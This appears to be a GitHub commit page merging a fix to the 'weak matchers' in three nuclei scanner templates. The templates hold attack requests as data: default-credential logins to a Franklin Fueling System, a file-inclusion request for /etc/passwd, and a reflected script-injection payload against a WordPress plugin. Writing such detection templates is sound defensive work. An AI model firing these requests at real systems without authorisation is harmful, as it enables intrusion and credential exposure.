Merge pull request #8412 from projectdiscovery/princechaddha-patch-3

Fixing weak matchers
patch-1
Prince Chaddha 2023-10-17 23:43:52 +05:30 committed by GitHub
commit 79d8e304bf
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 15 additions and 6 deletions

View File

@ -1,7 +1,7 @@
id: franklin-fueling-default-login
info:
name: Franklin Fueling System Default Login - Detect
name: Franklin Fueling System - Default Login
author: r3Y3r53
severity: high
description: |
@ -31,11 +31,13 @@ http:
- roleGuest
password:
- admin
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/xml")'
- 'contains(body, "</TSA_RESPONSE_LIST>")'
- 'contains(body, "roleAdmin") || contains(body, "roleUser") || contains(body, "roleGuest")'
condition: and

View File

@ -19,6 +19,7 @@ http:
path:
- "{{BaseURL}}/index.php?page=/etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body

View File

@ -22,10 +22,16 @@ http:
GET /wp-content/plugins/ellipsis-human-presence-technology/inc/protected-forms-table.php?&page=%22%20%3E%3Cscript%3Ealert(document.location)%3C/script%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "<script>alert(document.location)</script>") && contains(body, "protected-forms-table")'
- type: word
part: body
words:
- '<script>alert(document.location)</script>'
- '<form id="protected-forms-table"'
condition: and
- type: word
part: header
words:
- "text/html"